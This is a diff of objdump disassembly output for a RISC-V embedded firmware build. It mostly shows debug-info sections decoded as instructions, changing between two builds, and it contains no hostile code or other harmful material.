-    3f6c:	0900                	addi	s0,sp,144
-    3f6e:	0000                	unimp
-    3f70:	0501                	addi	a0,a0,0
-    3f72:	0314                	addi	a3,sp,384
-    3f74:	0900                	addi	s0,sp,144
-    3f76:	0004                	0x4
-    3f78:	0501                	addi	a0,a0,0
-    3f7a:	0321                	addi	t1,t1,8
-    3f7c:	0900                	addi	s0,sp,144
-    3f7e:	0004                	0x4
-    3f80:	0501                	addi	a0,a0,0
-    3f82:	0605                	addi	a2,a2,1
-    3f84:	04090203          	lb	tp,64(s2)
-    3f88:	0100                	addi	s0,sp,128
-    3f8a:	00090103          	lb	sp,0(s2)
-    3f8e:	0100                	addi	s0,sp,128
-    3f90:	00090003          	lb	zero,0(s2)
-    3f94:	0100                	addi	s0,sp,128
-    3f96:	00090003          	lb	zero,0(s2)
-    3f9a:	0100                	addi	s0,sp,128
-    3f9c:	04090003          	lb	zero,64(s2)
-    3fa0:	0100                	addi	s0,sp,128
-    3fa2:	08090003          	lb	zero,128(s2)
-    3fa6:	0100                	addi	s0,sp,128
-    3fa8:	02090003          	lb	zero,32(s2)
-    3fac:	0100                	addi	s0,sp,128
-    3fae:	0805                	addi	a6,a6,1
-    3fb0:	00090303          	lb	t1,0(s2)
-    3fb4:	0100                	addi	s0,sp,128
-    3fb6:	00090303          	lb	t1,0(s2)
-    3fba:	0100                	addi	s0,sp,128
-    3fbc:	0505                	addi	a0,a0,1
-    3fbe:	00090203          	lb	tp,0(s2)
-    3fc2:	0100                	addi	s0,sp,128
-    3fc4:	00090003          	lb	zero,0(s2)
-    3fc8:	0100                	addi	s0,sp,128
-    3fca:	00090003          	lb	zero,0(s2)
-    3fce:	0100                	addi	s0,sp,128
-    3fd0:	04090003          	lb	zero,64(s2)
-    3fd4:	0100                	addi	s0,sp,128
-    3fd6:	08090003          	lb	zero,128(s2)
-    3fda:	0100                	addi	s0,sp,128
-    3fdc:	00090003          	lb	zero,0(s2)
-    3fe0:	0100                	addi	s0,sp,128
-    3fe2:	00090103          	lb	sp,0(s2)
-    3fe6:	0100                	addi	s0,sp,128
-    3fe8:	1405                	addi	s0,s0,-31
-    3fea:	0306                	slli	t1,t1,0x1
-    3fec:	0900                	addi	s0,sp,144
-    3fee:	0000                	unimp
-    3ff0:	0501                	addi	a0,a0,0
-    3ff2:	0320                	addi	s0,sp,392
-    3ff4:	0900                	addi	s0,sp,144
-    3ff6:	0004                	0x4
-    3ff8:	0501                	addi	a0,a0,0
-    3ffa:	0605                	addi	a2,a2,1
-    3ffc:	04090103          	lb	sp,64(s2)
-    4000:	0100                	addi	s0,sp,128
-    4002:	00090103          	lb	sp,0(s2)
-    4006:	0100                	addi	s0,sp,128
-    4008:	0d05                	addi	s10,s10,1
-    400a:	0306                	slli	t1,t1,0x1
-    400c:	0900                	addi	s0,sp,144
-    400e:	0000                	unimp
-    4010:	0901                	addi	s2,s2,0
-    4012:	000a                	c.slli	zero,0x2
-    4014:	0100                	addi	s0,sp,128
-    4016:	01              	Address 0x0000000000004016 is out of bounds.
-
+    26e2:	0505                	addi	a0,a0,1
+    26e4:	0306                	slli	t1,t1,0x1
+    26e6:	0901                	addi	s2,s2,0
+    26e8:	0004                	0x4
+    26ea:	0501                	addi	a0,a0,0
+    26ec:	0003061b          	0x3061b
+    26f0:	0009                	c.nop	2
+    26f2:	0100                	addi	s0,sp,128
+    26f4:	1f05                	addi	t5,t5,-31
+    26f6:	0200                	addi	s0,sp,256
+    26f8:	0204                	addi	s1,sp,256
+    26fa:	0306                	slli	t1,t1,0x1
+    26fc:	0978                	addi	a4,sp,156
+    26fe:	0002                	c.slli64	zero
+    2700:	0501                	addi	a0,a0,0
+    2702:	0609                	addi	a2,a2,2
+    2704:	04091003          	lh	zero,64(s2)
+    2708:	0100                	addi	s0,sp,128
+    270a:	0409                	addi	s0,s0,2
+    270c:	0000                	unimp
+    270e:	0101                	addi	sp,sp,0
 
 Disassembly of section .debug_info:
 
@@ -14304,19 +9178,19 @@ Disassembly of section .debug_info:
       20:	0050                	addi	a2,sp,4
       22:	0000                	unimp
       24:	8001                	c.srli64	s0
-      26:	00001de3          	bnez	zero,840 <__stack_size+0x40>
+      26:	0000087b          	0x87b
       2a:	0004                	0x4
       2c:	0014                	0x14
       2e:	0000                	unimp
       30:	0104                	addi	s1,sp,128
-      32:	4db0                	lw	a2,88(a1)
+      32:	4ead                	li	t4,11
       34:	0000                	unimp
-      36:	150c                	addi	a1,sp,672
+      36:	c40c                	sw	a1,8(s0)
       38:	0095                	addi	ra,ra,5
-      3a:	3300                	fld	fs0,32(a4)
+      3a:	af00                	fsd	fs0,24(a4)
       3c:	0085                	addi	ra,ra,1
-      3e:	a800                	fsd	fs0,16(s0)
-      40:	0002                	c.slli64	zero
+      3e:	8000                	0x8000
+      40:	0000                	unimp
       42:	0000                	unimp
       44:	0000                	unimp
       46:	f800                	fsw	fs0,48(s0)
@@ -14324,6037 +9198,3532 @@ Disassembly of section .debug_info:
       4a:	0000                	unimp
       4c:	0000                	unimp
       4e:	0200                	addi	s0,sp,256
-      50:	0708                	addi	a0,sp,896
-      52:	06a1                	addi	a3,a3,8
+      50:	0601                	addi	a2,a2,0
+      52:	7f6d                	lui	t5,0xffffb
       54:	0000                	unimp
-      56:	69050403          	lb	s0,1680(a0) # 1b690 <__stack_size+0x1ae90>
-      5a:	746e                	flw	fs0,248(sp)
-      5c:	0200                	addi	s0,sp,256
-      5e:	0601                	addi	a2,a2,0
-      60:	7eea                	flw	ft9,184(sp)
-      62:	0000                	unimp
-      64:	f404                	fsw	fs1,40(s0)
-      66:	0004                	0x4
-      68:	0200                	addi	s0,sp,256
-      6a:	004a182b          	0x4a182b
+      56:	00047403          	0x47403
+      5a:	0200                	addi	s0,sp,256
+      5c:	003c182b          	0x3c182b
+      60:	0000                	unimp
+      62:	0102                	c.slli64	sp
+      64:	a008                	fsd	fa0,0(s0)
+      66:	02000013          	li	zero,32
+      6a:	0502                	c.slli64	a0
+      6c:	3822                	fld	fa6,40(sp)
       6e:	0000                	unimp
-      70:	0102                	c.slli64	sp
-      72:	3908                	fld	fa0,48(a0)
-      74:	0014                	0x14
-      76:	0200                	addi	s0,sp,256
-      78:	0502                	c.slli64	a0
-      7a:	3754                	fld	fa3,168(a4)
-      7c:	0000                	unimp
-      7e:	0202                	c.slli64	tp
-      80:	009b7a07          	0x9b7a07
-      84:	0200                	addi	s0,sp,256
-      86:	0504                	addi	s1,sp,640
-      88:	505c                	lw	a5,36(s0)
-      8a:	0000                	unimp
-      8c:	2704                	fld	fs1,8(a4)
-      8e:	02000027          	0x2000027
-      92:	0072194f          	fnmadd.s	fs2,ft4,ft7,ft0,rtz
-      96:	0000                	unimp
-      98:	0402                	c.slli64	s0
-      9a:	00651407          	0x651407
-      9e:	0500                	addi	s0,sp,640
-      a0:	0072                	c.slli	zero,0x1c
-      a2:	0000                	unimp
-      a4:	7206                	flw	ft4,96(sp)
-      a6:	0000                	unimp
-      a8:	0200                	addi	s0,sp,256
-      aa:	0508                	addi	a0,sp,640
-      ac:	8fe4                	0x8fe4
-      ae:	0000                	unimp
-      b0:	3d04                	fld	fs1,56(a0)
-      b2:	0044                	addi	s1,sp,4
+      70:	00226f03          	0x226f03
+      74:	0200                	addi	s0,sp,256
+      76:	1939                	addi	s2,s2,-18
+      78:	0056                	c.slli	zero,0x15
+      7a:	0000                	unimp
+      7c:	0202                	c.slli64	tp
+      7e:	009bf707          	0x9bf707
+      82:	0200                	addi	s0,sp,256
+      84:	0504                	addi	s1,sp,640
+      86:	5184                	lw	s1,32(a1)
+      88:	0000                	unimp
+      8a:	0027eb03          	0x27eb03
+      8e:	0200                	addi	s0,sp,256
+      90:	0070194f          	fnmadd.s	fs2,ft0,ft7,ft0,rtz
+      94:	0000                	unimp
+      96:	0402                	c.slli64	s0
+      98:	0065cd07          	flq	fs10,6(a1)
+      9c:	0400                	addi	s0,sp,512
+      9e:	0070                	addi	a2,sp,12
+      a0:	0000                	unimp
+      a2:	0802                	c.slli64	a6
+      a4:	b605                	j	fffffbc4 <_heap_end+0x7fff13c4>
+      a6:	0090                	addi	a2,sp,64
+      a8:	0300                	addi	s0,sp,384
+      aa:	4545                	li	a0,17
+      ac:	0000                	unimp
+      ae:	6902                	flw	fs2,0(sp)
+      b0:	8f19                	sub	a4,a4,a4
+      b2:	0000                	unimp
       b4:	0200                	addi	s0,sp,256
-      b6:	1969                	addi	s2,s2,-6
-      b8:	0029                	c.nop	10
-      ba:	0000                	unimp
-      bc:	3006                	fld	ft0,96(sp)
-      be:	0000                	unimp
-      c0:	0500                	addi	s0,sp,640
-      c2:	0030                	addi	a2,sp,8
-      c4:	0000                	unimp
-      c6:	0402                	c.slli64	s0
-      c8:	00716407          	0x716407
-      cc:	0500                	addi	s0,sp,640
-      ce:	00a0                	addi	s0,sp,72
-      d0:	0000                	unimp
-      d2:	1002                	c.slli	zero,0x20
-      d4:	9604                	0x9604
-      d6:	0091                	addi	ra,ra,4
-      d8:	0400                	addi	s0,sp,512
-      da:	04f6                	slli	s1,s1,0x1d
-      dc:	0000                	unimp
-      de:	3e131803          	lh	a6,993(t1)
-      e2:	0000                	unimp
-      e4:	0500                	addi	s0,sp,640
-      e6:	000000b3          	add	ra,zero,zero
-      ea:	2904                	fld	fs1,16(a0)
-      ec:	03000027          	0x3000027
-      f0:	1430                	addi	a2,sp,552
-      f2:	0066                	c.slli	zero,0x19
-      f4:	0000                	unimp
-      f6:	c405                	beqz	s0,11e <__stack_size-0x6e2>
+      b6:	0708                	addi	a0,sp,896
+      b8:	00000617          	auipc	a2,0x0
+      bc:	0405                	addi	s0,s0,1
+      be:	6905                	lui	s2,0x1
+      c0:	746e                	flw	fs0,248(sp)
+      c2:	0600                	addi	s0,sp,768
+      c4:	0096                	slli	ra,ra,0x5
+      c6:	0000                	unimp
+      c8:	0402                	c.slli64	s0
+      ca:	0071e507          	0x71e507
+      ce:	0200                	addi	s0,sp,256
+      d0:	0410                	addi	a2,sp,512
+      d2:	00009233          	sll	tp,ra,zero
+      d6:	00047603          	0x47603
+      da:	0300                	addi	s0,sp,384
+      dc:	1318                	addi	a4,sp,416
+      de:	0030                	addi	a2,sp,8
+      e0:	0000                	unimp
+      e2:	00227103          	0x227103
+      e6:	0300                	addi	s0,sp,384
+      e8:	1424                	addi	s1,sp,552
+      ea:	004a                	c.slli	zero,0x12
+      ec:	0000                	unimp
+      ee:	0027ed03          	0x27ed03
+      f2:	0300                	addi	s0,sp,384
+      f4:	1430                	addi	a2,sp,552
+      f6:	0064                	addi	s1,sp,12
       f8:	0000                	unimp
-      fa:	0400                	addi	s0,sp,512
-      fc:	0000443f 8a143c03 	0x8a143c030000443f
-     104:	0000                	unimp
-     106:	0500                	addi	s0,sp,640
-     108:	00d5                	addi	ra,ra,21
-     10a:	0000                	unimp
-     10c:	00ec0407          	0xec0407
-     110:	0000                	unimp
-     112:	0102                	c.slli64	sp
-     114:	f108                	fsw	fa0,32(a0)
-     116:	007e                	c.slli	zero,0x1f
-     118:	0500                	addi	s0,sp,640
-     11a:	00ec                	addi	a1,sp,76
-     11c:	0000                	unimp
-     11e:	00f30407          	0xf30407
-     122:	0000                	unimp
-     124:	ec08                	fsw	fa0,24(s0)
-     126:	0000                	unimp
-     128:	0e00                	addi	s0,sp,784
-     12a:	0001                	nop
-     12c:	0900                	addi	s0,sp,144
-     12e:	00a0                	addi	s0,sp,72
-     130:	0000                	unimp
-     132:	04070007          	0x4070007
-     136:	0114                	addi	a3,sp,128
-     138:	0000                	unimp
-     13a:	0b0a                	slli	s6,s6,0x2
-     13c:	0128                	addi	a0,sp,136
-     13e:	080e                	slli	a6,a6,0x3
-     140:	0142                	slli	sp,sp,0x10
-     142:	0000                	unimp
-     144:	0c0c                	addi	a1,sp,528
-     146:	0011                	c.nop	4
-     148:	0100                	addi	s0,sp,128
-     14a:	0142070f          	0x142070f
-     14e:	0000                	unimp
-     150:	0d00                	addi	s0,sp,656
-     152:	0072                	c.slli	zero,0x1c
-     154:	1001                	c.nop	-32
-     156:	0000960f          	0x960f
-     15a:	2000                	fld	fs0,0(s0)
-     15c:	770d                	lui	a4,0xfffe3
-     15e:	0100                	addi	s0,sp,128
-     160:	0f11                	addi	t5,t5,4
-     162:	0096                	slli	ra,ra,0x5
+      fa:	c804                	sw	s1,16(s0)
+      fc:	0000                	unimp
+      fe:	0300                	addi	s0,sp,384
+     100:	00004547          	fmsub.s	fa0,ft0,ft0,ft0,rmm
+     104:	83143c03          	0x83143c03
+     108:	0000                	unimp
+     10a:	0700                	addi	s0,sp,896
+     10c:	eb04                	fsw	fs1,16(a4)
+     10e:	0000                	unimp
+     110:	0200                	addi	s0,sp,256
+     112:	0801                	addi	a6,a6,0
+     114:	7f74                	flw	fa3,124(a4)
+     116:	0000                	unimp
+     118:	eb04                	fsw	fs1,16(a4)
+     11a:	0000                	unimp
+     11c:	0700                	addi	s0,sp,896
+     11e:	f204                	fsw	fs1,32(a2)
+     120:	0000                	unimp
+     122:	0800                	addi	s0,sp,16
+     124:	000000eb          	0xeb
+     128:	010d                	addi	sp,sp,3
+     12a:	0000                	unimp
+     12c:	a209                	j	22e <__stack_size-0x5d2>
+     12e:	0000                	unimp
+     130:	0700                	addi	s0,sp,896
+     132:	0a00                	addi	s0,sp,272
+     134:	8b6d                	andi	a4,a4,27
+     136:	0000                	unimp
+     138:	0408                	addi	a0,sp,512
+     13a:	080a                	slli	a6,a6,0x2
+     13c:	0135                	addi	sp,sp,13
+     13e:	0000                	unimp
+     140:	6e656c0b          	0x6e656c0b
+     144:	0400                	addi	s0,sp,512
+     146:	00bc0b0b          	0xbc0b0b
+     14a:	0000                	unimp
+     14c:	0c00                	addi	s0,sp,528
+     14e:	10a0                	addi	s0,sp,104
+     150:	0000                	unimp
+     152:	0c04                	addi	s1,sp,528
+     154:	e508                	fsw	fa0,8(a0)
+     156:	0000                	unimp
+     158:	0400                	addi	s0,sp,512
+     15a:	0d00                	addi	s0,sp,656
+     15c:	22d5                	jal	340 <__stack_size-0x4c0>
+     15e:	0000                	unimp
+     160:	00a20407          	0xa20407
      164:	0000                	unimp
-     166:	0024                	addi	s1,sp,8
-     168:	ec08                	fsw	fa0,24(s0)
-     16a:	0000                	unimp
-     16c:	5200                	lw	s0,32(a2)
-     16e:	0001                	nop
-     170:	0900                	addi	s0,sp,144
-     172:	00a0                	addi	s0,sp,72
-     174:	0000                	unimp
-     176:	001f f20e 0070      	0x70f20e001f
-     17c:	0100                	addi	s0,sp,128
-     17e:	0312                	slli	t1,t1,0x4
-     180:	0115                	addi	sp,sp,5
-     182:	0000                	unimp
-     184:	0305                	addi	t1,t1,1
-     186:	d898                	sw	a4,48(s1)
-     188:	8000                	0x8000
-     18a:	ec08                	fsw	fa0,24(s0)
-     18c:	0000                	unimp
-     18e:	7400                	flw	fs0,40(s0)
-     190:	0001                	nop
-     192:	0900                	addi	s0,sp,144
-     194:	00a0                	addi	s0,sp,72
-     196:	0000                	unimp
-     198:	0020                	addi	s0,sp,8
-     19a:	cf0e                	sw	gp,156(sp)
-     19c:	0036                	c.slli	zero,0xd
-     19e:	0100                	addi	s0,sp,128
-     1a0:	0d14                	addi	a3,sp,656
-     1a2:	0164                	addi	s1,sp,140
+     166:	0f04                	addi	s1,sp,912
+     168:	5406                	lw	s0,96(sp)
+     16a:	0001                	nop
+     16c:	0e00                	addi	s0,sp,784
+     16e:	4dc4                	lw	s1,28(a1)
+     170:	0000                	unimp
+     172:	0e00                	addi	s0,sp,784
+     174:	9e52                	add	t3,t3,s4
+     176:	0000                	unimp
+     178:	0001                	nop
+     17a:	0057730f          	0x57730f
+     17e:	0400                	addi	s0,sp,512
+     180:	1512                	slli	a0,a0,0x24
+     182:	000000f7          	0xf7
+     186:	2810                	fld	fa2,16(s0)
+     188:	1001                	c.nop	-32
+     18a:	8d08                	0x8d08
+     18c:	0001                	nop
+     18e:	0c00                	addi	s0,sp,528
+     190:	10a0                	addi	s0,sp,104
+     192:	0000                	unimp
+     194:	1101                	addi	sp,sp,-32
+     196:	00018d07          	0x18d07
+     19a:	0000                	unimp
+     19c:	0100720b          	0x100720b
+     1a0:	0f12                	slli	t5,t5,0x4
+     1a2:	009d                	addi	ra,ra,7
      1a4:	0000                	unimp
-     1a6:	0305                	addi	t1,t1,1
-     1a8:	d9c8                	sw	a0,52(a1)
-     1aa:	8000                	0x8000
-     1ac:	0099e30f          	0x99e30f
-     1b0:	0100                	addi	s0,sp,128
-     1b2:	024a                	slli	tp,tp,0x12
-     1b4:	3005                	jal	fffff9d4 <_heap_end+0x7fff11d4>
-     1b6:	0000                	unimp
-     1b8:	9c00                	0x9c00
-     1ba:	4018                	lw	a4,0(s0)
-     1bc:	1020                	addi	s0,sp,40
-     1be:	0001                	nop
-     1c0:	0100                	addi	s0,sp,128
-     1c2:	579c                	lw	a5,40(a5)
-     1c4:	10000003          	lb	zero,256(zero) # 100 <__stack_size-0x700>
-     1c8:	18b0                	addi	a2,sp,120
-     1ca:	2040                	fld	fs0,128(s0)
-     1cc:	000a                	c.slli	zero,0x2
-     1ce:	0000                	unimp
-     1d0:	000001bb          	0x1bb
-     1d4:	7211                	lui	tp,0xfffe4
-     1d6:	0064                	addi	s1,sp,12
-     1d8:	5101                	li	sp,-32
-     1da:	0202                	c.slli64	tp
-     1dc:	0072                	c.slli	zero,0x1c
-     1de:	0000                	unimp
-     1e0:	1000                	addi	s0,sp,32
-     1e2:	18ba                	slli	a7,a7,0x2e
-     1e4:	2040                	fld	fs0,128(s0)
-     1e6:	0004                	0x4
+     1a6:	0b20                	addi	s0,sp,408
+     1a8:	13010077          	0x13010077
+     1ac:	00009d0f          	0x9d0f
+     1b0:	2400                	fld	fs0,8(s0)
+     1b2:	0800                	addi	s0,sp,16
+     1b4:	000000eb          	0xeb
+     1b8:	019d                	addi	gp,gp,7
+     1ba:	0000                	unimp
+     1bc:	a209                	j	2be <__stack_size-0x542>
+     1be:	0000                	unimp
+     1c0:	1f00                	addi	s0,sp,944
+     1c2:	1100                	addi	s0,sp,160
+     1c4:	00007173          	csrrci	sp,ustatus,0
+     1c8:	1401                	addi	s0,s0,-32
+     1ca:	00016003          	0x16003
+     1ce:	0500                	addi	s0,sp,640
+     1d0:	00d88803          	lb	a6,13(a7)
+     1d4:	0880                	addi	s0,sp,80
+     1d6:	000000eb          	0xeb
+     1da:	000001bf 0000a209 	0xa209000001bf
+     1e2:	2000                	fld	fs0,0(s0)
+     1e4:	1100                	addi	s0,sp,160
+     1e6:	379d                	jal	14c <__stack_size-0x6b4>
      1e8:	0000                	unimp
-     1ea:	01d5                	addi	gp,gp,21
-     1ec:	0000                	unimp
-     1ee:	7211                	lui	tp,0xfffe4
-     1f0:	0064                	addi	s1,sp,12
-     1f2:	5201                	li	tp,-32
-     1f4:	0502                	c.slli64	a0
-     1f6:	0072                	c.slli	zero,0x1c
-     1f8:	0000                	unimp
-     1fa:	1200                	addi	s0,sp,288
-     1fc:	18e2                	slli	a7,a7,0x38
-     1fe:	2040                	fld	fs0,128(s0)
-     200:	1cfc                	addi	a5,sp,636
-     202:	0000                	unimp
-     204:	01f6                	slli	gp,gp,0x1d
-     206:	0000                	unimp
-     208:	055a0113          	addi	sp,s4,85 # ffffa055 <_heap_end+0x7ffeb855>
-     20c:	405a5403          	lhu	s0,1029(s4)
-     210:	1320                	addi	s0,sp,424
-     212:	5b01                	li	s6,-32
-     214:	3001                	jal	fffffa14 <_heap_end+0x7fff1214>
-     216:	015c0113          	addi	sp,s8,21 # 19015 <__stack_size+0x18815>
-     21a:	0030                	addi	a2,sp,8
-     21c:	ee12                	fsw	ft4,28(sp)
-     21e:	4018                	lw	a4,0(s0)
-     220:	0820                	addi	s0,sp,24
-     222:	001d                	c.nop	7
-     224:	0d00                	addi	s0,sp,656
-     226:	0002                	c.slli64	zero
-     228:	1300                	addi	s0,sp,416
-     22a:	5a01                	li	s4,-32
-     22c:	0305                	addi	t1,t1,1
-     22e:	5a5c                	lw	a5,52(a2)
-     230:	2040                	fld	fs0,128(s0)
-     232:	1200                	addi	s0,sp,288
-     234:	18fa                	slli	a7,a7,0x3e
-     236:	2040                	fld	fs0,128(s0)
-     238:	1d08                	addi	a0,sp,688
+     1ea:	1601                	addi	a2,a2,-32
+     1ec:	af0d                	j	91e <__stack_size+0x11e>
+     1ee:	0001                	nop
+     1f0:	0500                	addi	s0,sp,640
+     1f2:	00d8b003          	0xd8b003
+     1f6:	1280                	addi	s0,sp,352
+     1f8:	206a                	fld	ft0,152(sp)
+     1fa:	0000                	unimp
+     1fc:	7001                	c.lui	zero,0xfffe0
+     1fe:	0000e507          	0xe507
+     202:	0500                	addi	s0,sp,640
+     204:	00d86403          	0xd86403
+     208:	1380                	addi	s0,sp,480
+     20a:	9a91                	andi	a3,a3,-28
+     20c:	0000                	unimp
+     20e:	7201                	lui	tp,0xfffe0
+     210:	9605                	srai	a2,a2,0x21
+     212:	0000                	unimp
+     214:	9c00                	0x9c00
+     216:	4018                	lw	a4,0(s0)
+     218:	aa20                	fsd	fs0,80(a2)
+     21a:	0001                	nop
+     21c:	0100                	addi	s0,sp,128
+     21e:	b89c                	fsd	fa5,48(s1)
+     220:	0004                	0x4
+     222:	1400                	addi	s0,sp,544
+     224:	18bc                	addi	a5,sp,120
+     226:	2040                	fld	fs0,128(s0)
+     228:	000a                	c.slli	zero,0x2
+     22a:	0000                	unimp
+     22c:	0216                	slli	tp,tp,0x5
+     22e:	0000                	unimp
+     230:	7215                	lui	tp,0xfffe5
+     232:	0064                	addi	s1,sp,12
+     234:	7901                	lui	s2,0xfffe0
+     236:	7002                	flw	ft0,32(sp)
+     238:	0000                	unimp
      23a:	0000                	unimp
-     23c:	0224                	addi	s1,sp,264
-     23e:	0000                	unimp
-     240:	055a0113          	addi	sp,s4,85
-     244:	405a6403          	0x405a6403
-     248:	0020                	addi	s0,sp,8
-     24a:	0612                	slli	a2,a2,0x4
-     24c:	4019                	c.li	zero,6
-     24e:	0820                	addi	s0,sp,24
-     250:	001d                	c.nop	7
-     252:	3b00                	fld	fs0,48(a4)
-     254:	0002                	c.slli64	zero
-     256:	1300                	addi	s0,sp,416
-     258:	5a01                	li	s4,-32
-     25a:	0305                	addi	t1,t1,1
-     25c:	5aac                	lw	a1,112(a3)
-     25e:	2040                	fld	fs0,128(s0)
-     260:	1200                	addi	s0,sp,288
-     262:	1912                	slli	s2,s2,0x24
-     264:	2040                	fld	fs0,128(s0)
-     266:	1d08                	addi	a0,sp,688
+     23c:	c614                	sw	a3,8(a2)
+     23e:	4018                	lw	a4,0(s0)
+     240:	0420                	addi	s0,sp,520
+     242:	0000                	unimp
+     244:	2f00                	fld	fs0,24(a4)
+     246:	0002                	c.slli64	zero
+     248:	1500                	addi	s0,sp,672
+     24a:	6472                	flw	fs0,28(sp)
+     24c:	0100                	addi	s0,sp,128
+     24e:	057a                	slli	a0,a0,0x1e
+     250:	0070                	addi	a2,sp,12
+     252:	0000                	unimp
+     254:	1600                	addi	s0,sp,800
+     256:	0050                	addi	a2,sp,4
+     258:	0000                	unimp
+     25a:	037c                	addi	a5,sp,396
+     25c:	0000                	unimp
+     25e:	006d7a17          	auipc	s4,0x6d7
+     262:	9201                	srli	a2,a2,0x20
+     264:	0004b817          	auipc	a6,0x4b
      268:	0000                	unimp
-     26a:	0252                	slli	tp,tp,0x14
-     26c:	0000                	unimp
-     26e:	055a0113          	addi	sp,s4,85
-     272:	405af403          	0x405af403
-     276:	0020                	addi	s0,sp,8
-     278:	1e12                	slli	t3,t3,0x24
-     27a:	4019                	c.li	zero,6
-     27c:	0820                	addi	s0,sp,24
-     27e:	001d                	c.nop	7
-     280:	6900                	flw	fs0,16(a0)
-     282:	0002                	c.slli64	zero
-     284:	1300                	addi	s0,sp,416
-     286:	5a01                	li	s4,-32
-     288:	0305                	addi	t1,t1,1
-     28a:	5a64                	lw	s1,116(a2)
-     28c:	2040                	fld	fs0,128(s0)
-     28e:	1200                	addi	s0,sp,288
-     290:	192a                	slli	s2,s2,0x2a
-     292:	2040                	fld	fs0,128(s0)
-     294:	1d08                	addi	a0,sp,688
-     296:	0000                	unimp
-     298:	0280                	addi	s0,sp,320
-     29a:	0000                	unimp
-     29c:	055a0113          	addi	sp,s4,85
-     2a0:	405b3c03          	0x405b3c03
-     2a4:	0020                	addi	s0,sp,8
-     2a6:	3612                	fld	fa2,288(sp)
-     2a8:	4019                	c.li	zero,6
-     2aa:	0820                	addi	s0,sp,24
-     2ac:	001d                	c.nop	7
-     2ae:	9700                	0x9700
-     2b0:	0002                	c.slli64	zero
-     2b2:	1300                	addi	s0,sp,416
-     2b4:	5a01                	li	s4,-32
-     2b6:	0305                	addi	t1,t1,1
-     2b8:	5b84                	lw	s1,48(a5)
-     2ba:	2040                	fld	fs0,128(s0)
-     2bc:	1200                	addi	s0,sp,288
-     2be:	1942                	slli	s2,s2,0x30
-     2c0:	2040                	fld	fs0,128(s0)
-     2c2:	1d08                	addi	a0,sp,688
-     2c4:	0000                	unimp
-     2c6:	02ae                	slli	t0,t0,0xb
-     2c8:	0000                	unimp
-     2ca:	055a0113          	addi	sp,s4,85
-     2ce:	405bcc03          	lbu	s8,1029(s7)
-     2d2:	0020                	addi	s0,sp,8
-     2d4:	4e12                	lw	t3,4(sp)
-     2d6:	4019                	c.li	zero,6
-     2d8:	0820                	addi	s0,sp,24
-     2da:	001d                	c.nop	7
-     2dc:	c500                	sw	s0,8(a0)
-     2de:	0002                	c.slli64	zero
-     2e0:	1300                	addi	s0,sp,416
-     2e2:	5a01                	li	s4,-32
-     2e4:	0305                	addi	t1,t1,1
-     2e6:	5c14                	lw	a3,56(s0)
-     2e8:	2040                	fld	fs0,128(s0)
-     2ea:	1200                	addi	s0,sp,288
-     2ec:	195a                	slli	s2,s2,0x36
-     2ee:	2040                	fld	fs0,128(s0)
-     2f0:	1d08                	addi	a0,sp,688
-     2f2:	0000                	unimp
-     2f4:	02dc                	addi	a5,sp,324
-     2f6:	0000                	unimp
-     2f8:	055a0113          	addi	sp,s4,85
-     2fc:	405c5c03          	lhu	s8,1029(s8)
-     300:	0020                	addi	s0,sp,8
-     302:	6612                	flw	fa2,4(sp)
-     304:	4019                	c.li	zero,6
-     306:	0820                	addi	s0,sp,24
-     308:	001d                	c.nop	7
-     30a:	f300                	fsw	fs0,32(a4)
-     30c:	0002                	c.slli64	zero
-     30e:	1300                	addi	s0,sp,416
-     310:	5a01                	li	s4,-32
-     312:	0305                	addi	t1,t1,1
-     314:	5a64                	lw	s1,116(a2)
-     316:	2040                	fld	fs0,128(s0)
-     318:	1400                	addi	s0,sp,544
-     31a:	1968                	addi	a0,sp,188
+     26a:	0000                	unimp
+     26c:	1600                	addi	s0,sp,800
+     26e:	0068                	addi	a0,sp,12
+     270:	0000                	unimp
+     272:	0325                	addi	t1,t1,9
+     274:	0000                	unimp
+     276:	00767217          	auipc	tp,0x767
+     27a:	9601                	srai	a2,a2,0x20
+     27c:	b00c                	fsd	fa1,32(s0)
+     27e:	0000                	unimp
+     280:	1e00                	addi	s0,sp,816
+     282:	0000                	unimp
+     284:	1800                	addi	s0,sp,48
+     286:	6264                	flw	fs1,68(a2)
+     288:	97010067          	jr	-1680(sp)
+     28c:	be09                	j	fffffd9e <_heap_end+0x7fff159e>
+     28e:	0004                	0x4
+     290:	0300                	addi	s0,sp,384
+     292:	b891                	j	fffffae6 <_heap_end+0x7fff12e6>
+     294:	197f                	0x197f
+     296:	19c2                	slli	s3,s3,0x30
+     298:	2040                	fld	fs0,128(s0)
+     29a:	07ee                	slli	a5,a5,0x1b
+     29c:	0000                	unimp
+     29e:	0289                	addi	t0,t0,2
+     2a0:	0000                	unimp
+     2a2:	011a                	slli	sp,sp,0x6
+     2a4:	035a                	slli	t1,t1,0x16
+     2a6:	b891                	j	fffffafa <_heap_end+0x7fff12fa>
+     2a8:	1a7f                	0x1a7f
+     2aa:	5c01                	li	s8,-32
+     2ac:	4401                	li	s0,0
+     2ae:	1900                	addi	s0,sp,176
+     2b0:	19cc                	addi	a1,sp,244
+     2b2:	2040                	fld	fs0,128(s0)
+     2b4:	07fa                	slli	a5,a5,0x1e
+     2b6:	0000                	unimp
+     2b8:	029d                	addi	t0,t0,7
+     2ba:	0000                	unimp
+     2bc:	011a                	slli	sp,sp,0x6
+     2be:	025a                	slli	tp,tp,0x16
+     2c0:	0085                	addi	ra,ra,1
+     2c2:	1b00                	addi	s0,sp,432
+     2c4:	19d6                	slli	s3,s3,0x35
+     2c6:	2040                	fld	fs0,128(s0)
+     2c8:	0806                	slli	a6,a6,0x1
+     2ca:	0000                	unimp
+     2cc:	4019ea1b          	0x4019ea1b
+     2d0:	1220                	addi	s0,sp,296
+     2d2:	0008                	0x8
+     2d4:	1b00                	addi	s0,sp,432
+     2d6:	19f4                	addi	a3,sp,252
+     2d8:	2040                	fld	fs0,128(s0)
+     2da:	081e                	slli	a6,a6,0x7
+     2dc:	0000                	unimp
+     2de:	0019                	c.nop	6
+     2e0:	401a                	0x401a
+     2e2:	2a20                	fld	fs0,80(a2)
+     2e4:	0008                	0x8
+     2e6:	cb00                	sw	s0,16(a4)
+     2e8:	0002                	c.slli64	zero
+     2ea:	1a00                	addi	s0,sp,304
+     2ec:	5a01                	li	s4,-32
+     2ee:	3101                	jal	fffffeee <_heap_end+0x7fff16ee>
+     2f0:	1900                	addi	s0,sp,176
+     2f2:	1a08                	addi	a0,sp,304
+     2f4:	2040                	fld	fs0,128(s0)
+     2f6:	07fa                	slli	a5,a5,0x1e
+     2f8:	0000                	unimp
+     2fa:	02df 0000 011a      	0x11a000002df
+     300:	025a                	slli	tp,tp,0x16
+     302:	0086                	slli	ra,ra,0x1
